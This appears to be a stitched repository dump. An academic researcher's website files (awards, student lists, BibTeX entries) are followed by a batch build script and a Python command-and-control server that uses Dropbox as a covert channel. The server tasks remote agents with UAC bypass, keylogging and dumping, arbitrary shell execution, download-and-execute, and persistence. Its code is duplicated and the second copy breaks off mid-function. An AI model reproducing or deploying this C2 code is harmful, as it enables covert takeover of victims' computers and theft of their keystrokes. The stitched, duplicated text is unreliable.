<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">Grants, Awards & Honors</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2020</p>
<div class="twocol-entry">
<p><a href="https://www.heidelberg-laureate-forum.org" target="_blank">Heidelberg Laureate Forum Young Researcher</a></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2019</p>
<div class="twocol-entry">
<p><a href="https://blogs.worldbank.org/opendata/visualizing-risk-announcing-winners-vizrisk-2019-challenge" target="_blank">#VizRisk 2019 Challenge Grand Prize Winner</a></p>
<p><a href="https://blogs.worldbank.org/opendata/visualizing-risk-announcing-winners-vizrisk-2019-challenge" target="_blank">#VizRisk 2019 Challenge Best Interaction Design Award Winner</a></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2019</p>
<div class="twocol-entry">
<p><a href="http://sigubi.ipsj.or.jp/%E5%9B%BD%E9%9A%9B%E7%99%BA%E8%A1%A8%E5%A5%A8%E5%8A%B1%E8%B3%9E/%E9%81%8E%E5%8E%BB%E3%81%AE%E5%8F%97%E8%B3%9E/" target="_blank">IPSJ SIGUBI Travel Grant (CHI 2019)</a></p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2017</p>
<div class="twocol-entry">
<p>Japanese Government Scholarship (PhD)</p>
<p>Philippine Computing Science Congress Best Paper Honorable Mention</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2016</p>
<div class="twocol-entry">
<p>DLSU Research Congress Best Paper – Sustainability, Environment, and Energy</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col">2013</p>
<div class="twocol-entry">
<p>Best Research Optimization Application, Smart-IRRI Bigas2Hack Hackathon</p>
</div>
</div><file_sep>---
layout: citation
type: Conference Papers
id: heuristic-web
---<file_sep>---
layout: research
id: fil-dl-network
type: Journal Articles
---
<div class="research-banner">
<figure class="research-hero">
<img class="research-figure" src="../../assets/png/fil-dl-network-hero.png" alt="On the left is the co-authorship network of Filipino researchers working on deep learning. On the right is the top ten clusters of researchers based on size.">
</figure>
<p class="research-figure-caption">[Left] The co-authorship network of Filipino researchers who have at least one (1) publication on deep learning. Each color represents their affiliation. The largest group of researchers come from De La Salle University (26.44%), comprised of engineering and computing researchers. The second largest group is from the University of the Philippines - Diliman with 15.71% of researchers. [Right] The top 10 cluster of researchers based on size. The biggest cluster is composed of researchers mostly from De La Salle University, working with researchers from the Technological University of the Philippines and University of Santo Tomas.</p>
</div> <file_sep>---
layout: research
id: drowning-rumor
type: Journal Articles
---
<div class="research-banner">
<figure class="research-hero">
<img class="research-figure" src="../../assets/png/rumor-banner.png" alt="The system of ordinary differential equations and toy model representation of the Spreader-Spreader and Exposed-Spreader models.">
</figure>
<p class="research-figure-caption">In our model, we introduced the Exposed compartments to both truth and rumor. We developed two mathematical models based on the SEIR model that describes spreader-spreader and exposed-spreader interactions. From a macro-level, we observed the general effects of changing the rates of spreading truth on the population as a whole. </p>
</div> <file_sep>---
layout: bibtex
title: A Web-based CBMS Dataset Visualization and Simulation Tool
---
@inproceedings{Marcos2016,
author = {<NAME> Largoza, Gerardo and Samson, <NAME> and Base, <NAME> and Calulo, <NAME> and Co, <NAME> and Lo, <NAME>},
keywords = {community data,economics,maps,simulation,visualization},
pages = {7--12},
title = {A Web-based CBMS Dataset Visualization and Simulation Tool},
volume = {4},
year = {2016}
}
<file_sep>---
layout: research
id: reddit-ban
type: Conference Papers
---
<div class="research-banner">
<figure class="research-hero">
<img class="research-figure" src="../../assets/png/reddit-ban-hero.png" alt="Two scatter plots that show the activity of banned subreddit users before and after the ban.">
</figure>
<p class="research-figure-caption">Example plots comparing user behavior after a subreddit ban. Users from the top 100 and random samples are displayed in terms of their relative change in activity and change in in-group vocabulary usage. Distributions are displayed along each axis for convenience.</p>
</div> <file_sep>---
layout: bibtex
title: "Taxi Dash: Serendipitous Discovery of Taxi Carpool Riders"
---
@inproceedings{Samson2018,
author = {Samson, <NAME>. and Sumi, Yasuyuki},
booktitle = {Mobile Computing, Applications, and Services. MobiCASE 2018},
doi = {10.1007/978-3-319-90740-6_23},
keywords = {Carpooling,Group formation,Human-centered computing,Web applications},
pages = {277--281},
publisher = {Springer International Publishing},
title = {Taxi Dash: Serendipitous Discovery of Taxi Carpool Riders},
year = {2018}
}
<file_sep>---
layout: research
id: factors-not-follow
type: Conference Papers
---
<div class="research-banner">
<figure class="research-hero">
<img class="research-figure" src="../../assets/gif/dev1-2.gifbrew.gif" alt="Sample deviations from collected data.">
</figure>
<p class="research-figure-caption">A sample trip from our data collection with instances of the driver deviating from the recommended route shown by the application. Here, the first deviation was made at the beginning of the trip where the driver opted to choose a route that will get him directly to the main road, and not the recommendation which is circuity and perceived as unnecessary. The second deviation was made at a fork on the expressway. Instead of following the recommended route that will take him farther from the destination, he chose his regular route despite the application indicating that there is heavy traffic.</p>
</div> <file_sep>---
layout: page
title: Students
permalink: /students/
---
<!-- Override column widths because of changes in content. -->
<style>
.twocol-left-col {
width: 10%;
}
.twocol-entry {
width: 88%;
}
</style>
Over the years, I have had the privelege of mentoring and working with talented and engaging students in various theses and projects.
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">PhD and Masters Students</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col"><em>Current</em></p>
<div class="twocol-entry">
<p><span class="twocol-entry-main"><NAME></span> (MSCS) – Technology Intervention for Encouraging Sustainable Consumption among Low-Income Households</p>
<p><span class="twocol-entry-main"><NAME></span> (MSCS) – Measuring Driving Comfort and Safety from Street-Level Images</p>
<p><span class="twocol-entry-main"><NAME></span> (MSCS, co-advised with Unisse Chua) – Agent-Based Models of Off the Ball Plays in Football</p>
<p><span class="twocol-entry-main"><NAME></span> (MSCS, co-advised with Unisse Chua) – Comprehensive Agent-Based Models of Train System and Passenger Dynamics</p>
<p><span class="twocol-entry-main"><NAME></span> (MSCS, co-advised with Unisse Chua) – Modeling Real-estate Pricing</p>
<p><span class="twocol-entry-main"><NAME></span> (PhDCS) – Collaboration networks</p>
<p><span class="twocol-entry-main"><NAME></span> (MSCS) – Collaboration networks</p>
</div>
</div>
<div class="twocol-content twocol-section">
<p class="twocol-left-col"></p>
<p class="twocol-entry">Undergraduate Students</p>
</div>
<div class="twocol-content">
<p class="twocol-left-col"><em>Current</em></p>
<div class="twocol-entry">
<p class="twocol-entry-section">Designing Telemedicine Services for Ad Hoc Use during a Pandemic (co-advised with Unisse Chua)</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Using Remote Sensing to Track Sidewalk Accessibility Issues to Improve Urban Planning (co-advised with Unisse Chua)</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Analyzing the Growth and Structure of the Philippine Scientific Collaboration Network (co-advised with Unisse Chua)</p>
<p><span class="twocol-entry-main"><NAME>dric Ang</span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
</div>
</div>
<div class="twocol-content">
<p class="twocol-left-col"><em>Former</em></p>
<div class="twocol-entry">
<p class="twocol-entry-section">Open Data Portals for Universal Citizen Participation</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Multi-criteria model for flood evacuation suitability</p>
<p><span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Collaboration Networks</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Visual Analytics Tool for Transport Desirability</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main">Louise Cortez</span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Rumor spreading network model</p>
<p><span class="twocol-entry-main"><NAME></span> (Math) </p>
<!-- -->
<p class="twocol-entry-section">Multi-criteria Model for Flood Evacuation Suitability</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Weather & Traffic Model</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Modeling Jeepney Driver Behavior</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main">Nikolai Ang</span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Optimizing Road-based Transportation Networks</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Travel Demand Estimation</p>
<p><span class="twocol-entry-main">Winona Louise Erive</span> (CS), <span class="twocol-entry-main"><NAME> (Jake)</span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Traffic Modeling using Decision Trees</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Route Measured Capacity of Jeepney Routes</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main">Shaila Mae Choa</span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Crowd Simulation</p>
<p><span class="twocol-entry-main">Crisanto Aldanese IV</span> (CS), <span class="twocol-entry-main">Deanne Moore Chan</span> (CS), <span class="twocol-entry-main">Jona Joyce San Pascual</span> (CS), <span class="twocol-entry-main">Ma. Victoria Sido</span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Agent-based model of Train Systems</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Computer vision for Plant Phenotyping</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main">Ellen Chelsea Serrano</span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Extracting Event Relations</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME> Jr.</span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
<!-- -->
<p class="twocol-entry-section">Text Simplification of Senate and House Bills</p>
<p><span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME>ipe</span> (CS), <span class="twocol-entry-main"><NAME></span> (CS), <span class="twocol-entry-main"><NAME></span> (CS)</p>
</div>
</div><file_sep>---
layout: bibtex
title: Automating Heuristic Evaluation of Websites Using Convolutional Neural Networks
---
@inproceedings{Fernandez:2018:AHE:3205851.3205854,
author = {<NAME> and Deja, <NAME> and Samson, <NAME>.},
title = {Automating Heuristic Evaluation of Websites Using Convolutional Neural Networks},
booktitle = {Proceedings of the Asian HCI Symposium'18 on Emerging Research Collection},
series = {Asian HCI Symposium'18},
year = {2018},
isbn = {978-1-4503-5641-1},
location = {Montreal, QC, Canada},
pages = {9--12},
numpages = {4},
url = {http://doi.acm.org/10.1145/3205851.3205854},
doi = {10.1145/3205851.3205854},
acmid = {3205854},
publisher = {ACM},
address = {New York, NY, USA},
keywords = {Convolutional Neural Networks, Deep learning, Heuristic evaluation}
}<file_sep>---
layout: research
id: two-heads-pilot
type: Conference Papers
---
<div class="research-banner">
<figure class="research-hero">
<img class="research-figure" src="../../assets/png/two-heads-pilot-banner.png" alt="The sample two-party conversation, the three routes used and the Wizard-of-Oz setup in the pilot study">
</figure>
<p class="research-figure-caption">In this pilot Wizard-of-Oz study, we explored the use of two-party conversations that is played in the middle of driving a recommended route (leftmost image). The conversations involve two voice agents with two turns each. In this example, the Optimal voice agent continues to suggest a faster route while the Familiar voice agent presents an alternative that uses previously taken routes. The participants in the pilot experiment were recommended three routes: route F (familiar), route O (optimal) and route E (explorer). They drove in simulation environment with the researcher manually playing the voice navigation guidance.</p>
</div> <file_sep>---
layout: citation
type: Book Chapters
id: seight-m2vip
---<file_sep>---
layout: citation
type: Book Chapters
id: luntian-m2vip
---<file_sep>---
layout: citation
type: Conference Papers
id: simpatico
---<file_sep>---
layout: research
id: od-access
type: Conference Papers
---
<div class="research-banner">
<figure class="research-hero">
<img class="research-figure" src="../../assets/png/od-access-hero.png" alt="Preference for accessing and viewing open data.">
</figure>
<!-- <p class="research-figure-caption">Put caption here. </p> -->
</div> <file_sep>---
layout: citation
type: Conference Papers
id: thematic-role
---<file_sep>---
layout: page
permalink: /research/
title: Research
---
## Altruistic Navigation
Recent advancements in computer vision, reinforcement learning and automated driving is allowing carmakers and scientists to steadily reach [Level 5 automation](https://www.nhtsa.gov/technology-innovation/automated-vehicles-safety). It is being positioned as a potential silver bullet for road safety and traffic congestion problems. While that seems to be the direction for automotive research especially with some developed countries already deploying their fleets, adoption in the developing world will take some time because of the difference in driving conditions, infrastructure readiness, skepticism, and ownership costs. Thus, our future roads will more likely be occupied by a heterogeneous mix of vehicles with varying levels of automation, or none at all. Government stakeholders will then have the daunting task of managing a more complex traffic flow, with the challenge of encouraging drivers who will only rely on some or no route guidance (no automation) to adopt sustainable routes and driving behaviors.
This research program explores novel navigation and wayfinding applications for connected drivers and commuters. The goal is to develop navigation and wayfinding solutions that can influence the mobility patterns of commuters and connected drivers towards more livable and sustainable cities. It is focused on three equally particular approaches:
- understanding the practices of connected drivers and commuters, and the human factors behind their navigation and wayfinding decisions [[CHI'19](/publications/factors-not-follow)];
- exploring novel and persuasive interaction techniques, data visualization, and information architecture that promotes altruistic, purposeful, and effective driving navigation and commuter wayfinding; and
- creating agent-based models to understand how these designs and techniques can affect urban mobility and the system-wide performance of road networks.
<!-- ## Sustainable Mobility & Transportation
## Community-based Disaster Awareness, Preparedness and Planning
## Information Operations
## Reflective Spaces -->
<file_sep>---
layout: bibtex
title: Towards an Automated Plant Height Measurement and Tiller Segmentation of Rice Crops using Image Processing
---
@incollection{Constantino2018,
author = {Constantino, <NAME> and Gonzales, <NAME>, <NAME> and Serrano, <NAME> and Samson, <NAME>},
booktitle = {Mechatronics and Machine Vision in Practice 3},
doi = {10.1007/978-3-319-76947-9_11},
isbn = {9781510818774},
keywords = {Image processing,height,phenotyping,plant,segmentation,tiller},
pages = {155--168},
title = {Towards an Automated Plant Height Measurement and Tiller Segmentation of Rice Crops using Image Processing},
url = {https://doi.org/10.1007/978-3-319-76947-9_11},
volume = {3},
year = {2018}
}
|
5a15e8c4332e4042db755278f146af599e4f3be6
|
[
"Markdown",
"JavaScript",
"YAML"
] | 45 |
Markdown
|
brianehenyo/brianehenyo.github.io
|
7b46f96572794bc9db8fcce288fbde372724fbd0
|
8ff26359bd74dc626f1be1d92999f74c4e18acf8
|
refs/heads/main
|
<repo_name>clintonstrange/module-5-planner<file_sep>/README.md
Clint's Module 5 Challenge - Planner
- This application allows you to edit your work day schedule and save those edits into local Storage so you may retireve them when you open the page again.

<file_sep>/script.js
// Geting time block textarea from localStorage - suggestion from Trilogy ASK BCS Learning Assistant
var renderEvents = function () {
$("#event-9").val(localStorage.getItem("event-9"));
$("#event-10").val(localStorage.getItem("event-10"));
$("#event-11").val(localStorage.getItem("event-11"));
$("#event-12").val(localStorage.getItem("event-12"));
$("#event-13").val(localStorage.getItem("event-13"));
$("#event-14").val(localStorage.getItem("event-14"));
$("#event-15").val(localStorage.getItem("event-15"));
$("#event-16").val(localStorage.getItem("event-16"));
$("#event-17").val(localStorage.getItem("event-17"));
};
// Load day and date at top of page.
// check for time so time blocks are color coded appropriately at page load.
var loadPlanner = function () {
var hourEl = $(".hour");
var todaysDate = moment().format("dddd, MMMM Do YYYY");
$("#currentDay").append(todaysDate);
renderEvents();
auditTime(hourEl);
};
// save edits made in textarea to time block in local Storage
$(".saveBtn").on("click", function () {
var time = $(this).siblings("textarea").attr("id");
var value = $(this).siblings("textarea").val();
localStorage.setItem(time, value);
});
// compare time for time blocks to current time to color code appropriately
var auditTime = function (timeEl) {
var eventEl = $(".future");
for (var i = 0; i < timeEl.length; i++) {
var time = $(timeEl[i]).attr("id");
var currentTime = moment().format("HH");
if (currentTime === time) {
$(eventEl[i]).removeClass("future");
$(eventEl[i]).addClass("present");
}
if (currentTime > time) {
$(eventEl[i]).removeClass("future");
$(eventEl[i]).addClass("past");
}
}
};
// check time every 5 minutes to make sure time blocks are color coded approptiately
setInterval(function () {
$(".container .time-block").each(function (el) {
auditTime(el);
});
}, 1000 * 60 * 5);
// load planner to page.
loadPlanner();
|
fa64fd2868ff298d4b96e41cd52952759809d8b3
|
[
"Markdown",
"JavaScript"
] | 2 |
Markdown
|
clintonstrange/module-5-planner
|
97a005b54ba5cf56a51a9dacd71d07c9b109cfd3
|
bdeea00bc6274a075ae251388c0847462db834c2
|
refs/heads/master
|
<file_sep>@echo off
echo "Installing Required Libraries"
pip install -r requirements.txt
echo "Creating the agent executable"
pyinstaller --onefile --uac-admin agent.py
echo agent.exe can be fond at dist/
<file_sep>
import os
import dropbox
import time
import threading
import cmd
import json
import base64
apiKey = "CHANGE API KEY"
banner = """
$$$$$$$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\
$$ __$$\ $$ | $$ __$$\ $$ __$$\ $$ __$$\
$$ | $$ | $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$ / \__|\__/ $$ |$$ / \__|
$$ | $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ \$$\ $$ |$$$$$$\ $$ | $$$$$$ |$$ |
$$ | $$ |$$ | \__|$$ / $$ |$$ / $$ |$$ | $$ |$$ / $$ | \$$$$ / \______|$$ | $$ ____/ $$ |
$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ $$< $$ | $$\ $$ | $$ | $$\
$$$$$$$ |$$ | \$$$$$$ |$$$$$$$ |$$$$$$$ |\$$$$$$ |$$ /\$$\ \$$$$$$ |$$$$$$$$\ \$$$$$$ |
\_______/ \__| \______/ $$ ____/ \_______/ \______/ \__/ \__| \______/ \________| \______/
$$ |
$$ |
\__|
"""
# Create a dropbox object
dbx = dropbox.Dropbox(apiKey)
offlineAgents = []
activeAgents = []
completedTasks = {}
interactedAgent = ""
taskLock = False
# This is the agent Checker
def isInsideTimeline(agent):
try:
md, res = dbx.files_download('/%s/lasttime' % agent)
agenttime = float(res.content.strip())
servertime = float(time.time())
if(servertime-60)<=agenttime:
return True
else:
return False
except dropbox.exceptions.HttpError as err:
print('[-] HTTP error ', err)
return False
class TaskChecker(object):
def __init__(self, interval=5):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
while True:
checkCompletedTasks()
time.sleep(self.interval)
def dropboxFileExists(path,file):
for fileName in dbx.files_list_folder(path).entries:
if fileName.name == file:
return True
return False
def checkCompletedTasks():
for agent in activeAgents:
path = '/%s/output' % agent
try:
if(dropboxFileExists('/%s/' % agent ,'output')):
_, res = dbx.files_download(path)
if(res.content != ""):
outputData = json.loads(res.content.replace('\n',''))
else:
outputData = {}
for data in outputData:
if(data not in completedTasks[agent]):
completedTasks[agent].append(data)
print "\n==== Agent " + agent + " Task: " + data + " ==== "
print base64.b64decode(outputData[data]["OUTPUT"])
taskUpdater(agent)
except Exception, err:
print "[-] Error Receiving Completed Tasks [-]"
print err
pass
def taskUpdater(agent):
tasks = {}
path = '/%s/tasks' % agent
mode = (dropbox.files.WriteMode.overwrite)
try:
_, res = dbx.files_download(path)
if(res.content != ""):
tasks = json.loads(res.content.replace('\n',''))
else:
tasks = {}
for completedTask in completedTasks[agent]:
tasks[completedTask]["STATUS"] = "Completed"
dbx.files_upload(json.dumps(tasks),path,mode)
except Exception, err:
print "[-] Error Updating Tasks [-]"
print err
pass
def sendTask(agent,command):
tasks = {}
path = '/%s/tasks' % agent
mode = (dropbox.files.WriteMode.add)
defaultStatus = "Waiting"
for file in dbx.files_list_folder('/%s/' % agent).entries:
if(file.name == 'tasks'):
mode = (dropbox.files.WriteMode.overwrite)
_, res = dbx.files_download(path)
if(res.content != ""):
tasks = json.loads(res.content.replace('\n',''))
else:
tasks = {}
break
numberOfTasks = 0
for task in tasks:
numberOfTasks += 1
tasks[numberOfTasks+1] = {"STATUS":defaultStatus,"COMMAND":command}
try:
dbx.files_upload(json.dumps(tasks),path,mode)
except Exception:
print "[-] Error Sending Task [-]"
pass
class AgentChecker(object):
def __init__(self, interval=10):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
# This will list all the folders which are created by the agents.
global activeAgents
while True:
try:
for agent in dbx.files_list_folder('').entries:
agent = agent.name
if(agent not in activeAgents and isInsideTimeline(agent)):
activeAgents.append(agent)
print "[+] Agent " + agent + " is online [+]"
completedTasks[agent] = [] # NEW CODEEEE
elif(agent in activeAgents and not isInsideTimeline(agent)):
activeAgents.remove(agent)
del completedTasks[agent] # NEW CODEEEEE
print "\n[+] Agent " + agent + " is offline [+]"
time.sleep(self.interval)
except Exception:
print "[-] HTTP Error [-]"
time.sleep(30)
pass
def listAgents():
print "\n[+] Listing Agents [+]"
if(len(activeAgents) > 0):
for agent in activeAgents:
print agent
else:
print "[-] No online agents found. [-]"
print "\n"
def changeInteractedAgent(agent):
global interactedAgent
interactedAgent = agent
class Input(cmd.Cmd):
AGENTS = activeAgents
prompt = "C2C#> "
def do_agents(self,s):
listAgents()
def do_interact(self,agent):
self.AGENTS = activeAgents
if(agent in self.AGENTS):
print "[+] Interacting with : " + agent + " [+]"
changeInteractedAgent(agent)
agentInteraction = AgentCMD()
agentInteraction.prompt = self.prompt + "(" + agent + "): "
agentInteraction.cmdloop()
else:
print "[-] Agent not valid [-]"
def complete_interact(self, text, line, begidx, endidx):
if not text:
completions = self.AGENTS[:]
else:
completions = [ f
for f in self.AGENTS
if f.startswith(text)
]
return completions
def do_quit(self,s):
exit(0)
def emptyline(self):
pass
def getInteractedAgent():
global interactedAgent
return interactedAgent
class AgentCMD(cmd.Cmd):
# This is the Agent command line .
def do_sysinfo(self,s):
sendTask(interactedAgent,"{SHELL}systeminfo")
def do_bypassuac(self,s):
sendTask(interactedAgent,"bypassuac")
def do_keylog_start(self,s):
sendTask(interactedAgent,"keylog_start")
def do_keylog_stop(self,s):
sendTask(interactedAgent,"keylog_stop")
def do_keylog_dump(self,s):
sendTask(interactedAgent,"keylog_dump")
def do_exec(self,s):
sendTask(interactedAgent,"{SHELL}%s" % s)
def do_downloadexecute(self,s):
sendTask(interactedAgent,"{DOWNLOAD}%s" % s)
def do_persist(self,s):
sendTask(interactedAgent,"persist")
def do_back(self,s):
interactedAgent = ""
return True
def emptyline(self):
pass
def main():
print banner
agents = AgentChecker()
checker = TaskChecker()
commandInputs = Input().cmdloop()
if __name__ == "__main__":
main()
import os
import dropbox
import time
import threading
import cmd
import json
import base64
apiKey = "CHANGE API KEY"
banner = """
$$$$$$$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\
$$ __$$\ $$ | $$ __$$\ $$ __$$\ $$ __$$\
$$ | $$ | $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$\ $$ / \__|\__/ $$ |$$ / \__|
$$ | $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ \$$\ $$ |$$$$$$\ $$ | $$$$$$ |$$ |
$$ | $$ |$$ | \__|$$ / $$ |$$ / $$ |$$ | $$ |$$ / $$ | \$$$$ / \______|$$ | $$ ____/ $$ |
$$ | $$ |$$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ $$< $$ | $$\ $$ | $$ | $$\
$$$$$$$ |$$ | \$$$$$$ |$$$$$$$ |$$$$$$$ |\$$$$$$ |$$ /\$$\ \$$$$$$ |$$$$$$$$\ \$$$$$$ |
\_______/ \__| \______/ $$ ____/ \_______/ \______/ \__/ \__| \______/ \________| \______/
$$ |
$$ |
\__|
"""
# Create a dropbox object
dbx = dropbox.Dropbox(apiKey)
offlineAgents = []
activeAgents = []
completedTasks = {}
interactedAgent = ""
taskLock = False
# This is the agent Checker
def isInsideTimeline(agent):
try:
md, res = dbx.files_download('/%s/lasttime' % agent)
agenttime = float(res.content.strip())
servertime = float(time.time())
if(servertime-60)<=agenttime:
return True
else:
return False
except dropbox.exceptions.HttpError as err:
print('[-] HTTP error ', err)
return False
class TaskChecker(object):
def __init__(self, interval=5):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
while True:
checkCompletedTasks()
time.sleep(self.interval)
def dropboxFileExists(path,file):
for fileName in dbx.files_list_folder(path).entries:
if fileName.name == file:
return True
return False
def checkCompletedTasks():
for agent in activeAgents:
path = '/%s/output' % agent
try:
if(dropboxFileExists('/%s/' % agent ,'output')):
_, res = dbx.files_download(path)
if(res.content != ""):
outputData = json.loads(res.content.replace('\n',''))
else:
outputData = {}
for data in outputData:
if(data not in completedTasks[agent]):
completedTasks[agent].append(data)
print "\n==== Agent " + agent + " Task: " + data + " ==== "
print base64.b64decode(outputData[data]["OUTPUT"])
taskUpdater(agent)
except Exception, err:
print "[-] Error Receiving Completed Tasks [-]"
print err
pass
def taskUpdater(agent):
tasks = {}
path = '/%s/tasks' % agent
mode = (dropbox.files.WriteMode.overwrite)
try:
_, res = dbx.files_download(path)
if(res.content != ""):
tasks = json.loads(res.content.replace('\n',''))
else:
tasks = {}
for completedTask in completedTasks[agent]:
tasks[completedTask]["STATUS"] = "Completed"
dbx.files_upload(json.dumps(tasks),path,mode)
except Exception, err:
print "[-] Error Updating Tasks [-]"
print err
pass
def sendTask(agent,command):
tasks = {}
path = '/%s/tasks' % agent
mode = (dropbox.files.WriteMode.add)
defaultStatus = "Waiting"
for file in dbx.files_list_folder('/%s/' % agent).entries:
if(file.name == 'tasks'):
mode = (dropbox.files.WriteMode.overwrite)
_, res = dbx.files_download(path)
if(res.content != ""):
tasks = json.loads(res.content.replace('\n',''))
else:
tasks = {}
break
numberOfTasks = 0
for task in tasks:
numberOfTasks += 1
tasks[numberOfTasks+1] = {"STATUS":defaultStatus,"COMMAND":command}
try:
dbx.files_upload(json.dumps(tasks),path,mode)
except Exception:
print "[-] Error Sending Task [-]"
pass
class AgentChecker(object):
def __init__(self, interval=10):
self.interval = interval
thread = threading.Thread(target=self.run, args=())
thread.daemon = True
thread.start()
def run(self):
# This will list all the folders which are created by the agents.
global activeAgents
while True:
try:
for agent in dbx.files_list_folder('').entries:
agent = agent.name
if(agent not in activeAgents and isInsideTimeline(agent)):
activeAgents.append(agent)
print "[+] Agent " + agent + " is online [+]"
completedTasks[agent] = [] # NEW CODEEEE
elif(agent in activeAgents and not isInsideTimeline(agent)):
activeAgents.remove(agent)
del completedTasks[agent] # NEW CODEEEEE
print "\n[+] Agent " + agent + " is offline [+]"
time.sleep(self.interval)
except Exception:
print "[-] HTTP Error [-]"
time.sleep(30)
pass
def listAgents():
print "\n[+] Listing Agents [+]"
if(len(activeAgents) > 0):
for agent in activeAgents:
print agent
else:
print "[-] No online agents found. [-]"
print "\n"
def changeInteractedAgent(agent):
global interactedAgent
interactedAgent = agent
class Input(cmd.Cmd):
AGENTS = activeAgents
prompt = "C2C#> "
def do_agents(self,s):
listAgents()
def do_interact(self,agent):
self.AGENTS = activeAgents
if(agent in self.AGENTS):
print "[+] Interacting with : " + agent + " [+]"
changeInteractedAgent(agent)
agentInteraction = AgentCMD()
agentInteraction.prompt = self.prompt + "(" + agent + "): "
agentInteraction.cmdloop()
else:
print "[-] Agent not valid [-]"
def complete_interact(self, text, line, begidx, endidx):
if not text:
completions = self.AGENTS[:]
else:
completions = [ f
for f in self.AGENTS
if f.startswith(text)
]
return completions
def do_quit(self,s):
exit(0)
def emptyline(self):
pass
def getInteractedAgent():
global interactedAgent
return interactedAgent
class AgentCMD(cmd.Cmd):
# This is the Agent command line .
def do_sysinfo(self,s):
sendTask(interactedAgent,"{SHELL}systeminfo")
def do_bypassuac(self,s):
sendTask(interactedAgent,"bypassuac")
def do_keylog_start(self,s):
sendTask(interactedAgent,"keylog_start")
def do_keylog_stop(self,s):
sendTask(interactedAgent,"keylog_stop")
def do_keylog_dump(self,s):
